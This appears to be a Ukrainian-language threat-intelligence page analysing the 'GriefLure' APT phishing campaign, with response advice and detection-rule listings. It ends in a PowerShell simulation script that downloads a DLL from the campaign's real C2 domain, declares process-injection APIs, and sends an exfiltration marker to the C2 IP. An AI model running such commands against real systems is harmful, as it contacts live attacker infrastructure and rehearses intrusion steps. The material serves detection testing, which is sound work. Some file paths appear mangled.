SOC Prime Bias: Критичний

08 May 2026 15:40 UTC

Операція GriefLure: Аналіз APT-кампанії, націленої на військовий телеком В’єтнаму та філіппінський сектор охорони здоров’я

Author Photo
SOC Prime Team linkedin icon Стежити
Операція GriefLure: Аналіз APT-кампанії, націленої на військовий телеком В’єтнаму та філіппінський сектор охорони здоров’я
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Лабораторія Seqrite виявила цільову фішингову кампанію, яка використовувала шкідливі Windows LNK файли, сховані в подвійно стиснутих архівах RAR. При відкритті LNK запускав вбудований ftp.exe завантажувач, який відновлював поліморфний корисний навантажувач під назвою sfsvc.exe з фрагментованих .doc файлів, збережених на комп’ютері жертви. Ця активність була спрямована на вищих керівників в секторі телекомунікацій, що належить армії В’єтнаму, та персонал в приватній лікарні на Філіппінах, використовуючи документи, що виглядали легітимними, як приманку. Повний ланцюг зараження завершувався менш ніж за десять секунд і залишав мінімальні артефакти на диску.

Розслідування

Розслідування розібрало структуру архіву, розпакувало шлях виконання LNK і зворотно спроектувало власний sfsvc.exe завантажувач, який був розроблений, щоб нагадувати regsvr32.exe. Аналітики задокументували DLL сайдлодінг, виконання шелкоду в пам’яті, ін’єкцію процесу, а також командно-контрольні комунікації через замаскований домен. Огляд артефактів також виявив жорстко закодований C2 домен, www.whatsappcenter.com, розміщений через захищений провайдер у Гонконзі.

Пом’якшення

Захисники повинні блокувати виконання LNK файлів, доставлених через вкладання в електронній пошті, та контролювати використання вбудованого ftp.exe з підозрілими аргументами командного рядка. Детекція на кінцевих пристроях повинна зосередитися на безфайловому завантаженні DLL, записах альтернативного потоку даних в C:UsersPublicUpdate, та швидкому створенні sfsvc.exe. Організації також повинні посилити перевірку походження документів та навчати користувачів щодо приманок, які виглядають як легітимні юридичні або пов’язані з витоками файли.

Реакція

Якщо виявлено шкідливий LNK або sfsvc.exe процес, негайно ізолюйте постраждалий кінцевий вузол, зберіть летучу пам’ять і шукайте 360.*.dll файли завантажувача і артефакти альтернативного потоку даних. Виявлений домен командно-контроль і відповідні IP-адреси слід блокувати, а відповідні дії повинні початися, щоб визначити, чи якась інформація була ексфільтрована. Слід також проводити ширший пошук для подібної активності, пов’язаної з LNK, по всьому середовищу. ftp.exe loader activity across the environment.

Потік атаки

Виявлення

Можливий шкідливий LNK файл з подвійним розширенням (через cmdline)

Команда SOC Prime
07 травня 2026

Можливе виконання FTP сценарію з незвичними розширеннями (через cmdline)

Команда SOC Prime
07 травня 2026

Підозріле виконання з загального профілю користувача (через створення процесу)

Команда SOC Prime
07 травня 2026

Альтернативне віддалене управління / програмне забезпечення для управління (через створення процесу)

Команда SOC Prime
07 травня 2026

Підозрілі файли в загальному профілі користувача (через файл події)

Команда SOC Prime
07 травня 2026

IOCs (HashSha256) для виявлення: Операція GriefLure: Аналіз кампанії APT, націленої на військовий телекомунікаційний сектор В’єтнаму та сферу охорони здоров’я Філіппін

Правила SOC Prime AI
07 травня 2026

IOCs (SourceIP) для виявлення: Операція GriefLure: Аналіз кампанії APT, націленої на військовий телекомунікаційний сектор В’єтнаму та сферу охорони здоров’я Філіппін

Правила SOC Prime AI
07 травня 2026

IOCs (DestinationIP) для виявлення: Операція GriefLure: Аналіз кампанії APT, націленої на військовий телекомунікаційний сектор В’єтнаму та сферу охорони здоров’я Філіппін

Правила SOC Prime AI
07 травня 2026

Виявлення комунікації C2 операції GriefLure [Windows Мережеве з’єднання]

Правила SOC Prime AI
07 травня 2026

Виявлення активності операції GriefLure з використанням ftp.exe і sfsvc.exe [Windows Створення процесу]

Правила SOC Prime AI
07 травня 2026

Виконання симуляції

Обов’язкова умова: Телеметрія і перевірка базових показників повинні бути пройдені до виконання.

Обґрунтування: Цей розділ описує точне виконання методу противника (TTP), призначеного для запуску правила виявлення. Команди та наратив ПОВИННІ безпосередньо відображати ідентифіковані TTP і намагатися згенерувати точну телеметрію, очікувану логікою виявлення. Абстрактні або не пов’язані приклади приведуть до неправильної діагностики.

  • Наратив і команди атаки:
    Зловмисник, отримавши початковий плацдарм через фішингове вкладення (T1566.001, T1204.002), обирає підхід living-off-the-land щоб уникнути виконуваних корисних навантажень. Використовуючи вбудований cmd.exe (T1059.003) запускають PowerShell однолайнер, що виконує наступні кроки:

    1. Виявлення – перерахування системної інформації (T1082) і запущених процесів (T1057) для визначення відповідної цілі ін’єкції.
    2. Збір даних входу – читання сховищ браузера (T1555.003) і дамп файлів з даними входу (T1552.001) у тимчасовий каталог.
    3. Отримання корисного навантаження – завантаження шкідливої DLL з C2 домену www.whatsappcenter.com через HTTPS (T1071.001, T1041).
    4. Ін’єкція процесів – ін’єкція DLL у explorer.exe (T1055.001) для отримання персистентності та підвищення привілеїв.
    5. C2-комунікація – відкриття постійного TCP-з’єднання до 38.54.122.188 (жорстко закодована IP) і початок ексфільтрації зібраних даних.

    Критичним кроком, який задовольняє правило Sigma, є спроба вихідного з’єднання до точного домену/IP, що буде зафіксовано Sysmon та брандмауером Windows.

  • Скрипт для регресійного тесту:

    # -------------------------------------------------
    # симуляція GriefLure C2 – версія PowerShell
    # -------------------------------------------------
    # 1. Виявлення системи (T1082, T1057)
    Get-CimInstance -ClassName Win32_OperatingSystem | Out-Null
    Get-Process | Select-Object -First 5 | Out-Null
    
    # 2. Симуляція збору даних входу (T1555.003, T1552.001)
    $credStaging = "$env:TEMPcreds.txt"
    "username=admin`npassword=P@ssw0rd!" | Set-Content -Path $credStaging
    
    # 3. Завантажити шкідливу DLL з жорстко закодованого C2 домену (T1071.001, T1041)
    $c2Domain = "www.whatsappcenter.com"
    $c2Url = "https://$c2Domain/payload.dll"
    $dllPath = "$env:TEMPpayload.dll"
    Invoke-WebRequest -Uri $c2Url -OutFile $dllPath -UseBasicParsing
    
    # 4. Ін'єкціювати DLL у explorer.exe (T1055.001)
    $target = (Get-Process -Name explorer).Id
    $inject = @"
    using System;
    using System.Runtime.InteropServices;
    public class Injector {
        [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
        [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll", SetLastError=true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
        [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    }
    "@
    Add-Type $inject
    # (Самі кроки ін’єкції пропущені для краткості; у реальних тестах треба викликати вищенаведені API.)
    
    # 5. Відкрити постійне C2-з'єднання з жорстко закодованою IP (T1041)
    $c2Ip = "38.54.122.188"
    $port = 443
    $client = New-Object System.Net.Sockets.TcpClient
    $client.Connect($c2Ip, $port)
    $stream = $client.GetStream()
    $payload = [System.Text.Encoding]::UTF8.GetBytes("EXFIL_START")
    $stream.Write($payload,0,$payload.Length)
    Start-Sleep -Seconds 5
    $stream.Close()
    $client.Close()
  • Команди очищення:

    # Видалити підготовлені файли
    Remove-Item -Path "$env:TEMPcreds.txt" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPpayload.dll" -Force -ErrorAction SilentlyContinue
    
    # Закрити усі залишкові з'єднання TCP (якщо ще відкриті)
    Get-NetTCPConnection -RemotePort 443 -RemoteAddress 38.54.122.188 |
      ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }
    
    # За бажанням скидати буфер Sysmon (для чистого стану в повторних тестах)
    & "$env:ProgramFilesSysinternalsSysmon.exe" -c sysmon-config.xml